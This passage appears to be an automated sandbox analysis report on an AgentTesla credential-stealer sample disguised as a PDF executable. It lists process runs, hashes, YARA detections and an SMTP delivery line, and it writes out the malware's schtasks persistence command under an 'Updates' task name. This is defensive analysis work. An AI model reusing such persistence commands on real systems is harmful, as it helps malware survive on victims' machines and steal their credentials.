                                                                                      Apr 8, 2021 13:12:19.030076027 CEST58749765173.237.136.115192.168.2.4250 OK id=1lUSaA-002MEk-Q5

                                                                                      Code Manipulations

                                                                                      Statistics

                                                                                      Behavior

                                                                                      Click to jump to process

                                                                                      System Behavior

                                                                                      General

                                                                                      Start time:13:10:16
                                                                                      Start date:08/04/2021
                                                                                      Path:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:'C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe'
                                                                                      Imagebase:0xd50000
                                                                                      File size:985088 bytes
                                                                                      MD5 hash:182216A47605C50DB6B8796ADFF4E3F9
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:.Net C# or VB.NET
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.668971601.000000000313C000.00000004.00000001.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.670515313.000000000428B000.00000004.00000001.sdmp, Author: Joe Security
                                                                                      Reputation:low

                                                                                      General

                                                                                      Start time:13:10:28
                                                                                      Start date:08/04/2021
                                                                                      Path:C:\Windows\SysWOW64\schtasks.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\sfgTsm' /XML 'C:\Users\user\AppData\Local\Temp\tmpBA76.tmp'
                                                                                      Imagebase:0x3c0000
                                                                                      File size:185856 bytes
                                                                                      MD5 hash:15FF7D8324231381BAD48A052F85DF04
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Start time:13:10:28
                                                                                      Start date:08/04/2021
                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      Imagebase:0x7ff724c50000
                                                                                      File size:625664 bytes
                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:high

                                                                                      General

                                                                                      Start time:13:10:29
                                                                                      Start date:08/04/2021
                                                                                      Path:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      Imagebase:0x130000
                                                                                      File size:985088 bytes
                                                                                      MD5 hash:182216A47605C50DB6B8796ADFF4E3F9
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low

                                                                                      General

                                                                                      Start time:13:10:29
                                                                                      Start date:08/04/2021
                                                                                      Path:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:C:\Users\user\Desktop\NEW-P&I_Circularpdf.exe
                                                                                      Imagebase:0xa30000
                                                                                      File size:985088 bytes
                                                                                      MD5 hash:182216A47605C50DB6B8796ADFF4E3F9
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:.Net C# or VB.NET
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.907967195.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmp, Author: Joe Security
                                                                                      • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.910158370.0000000003091000.00000004.00000001.sdmp, Author: Joe Security
                                                                                      Reputation:low

                                                                                      Disassembly

                                                                                      Code Analysis

                                                                                      Reset < >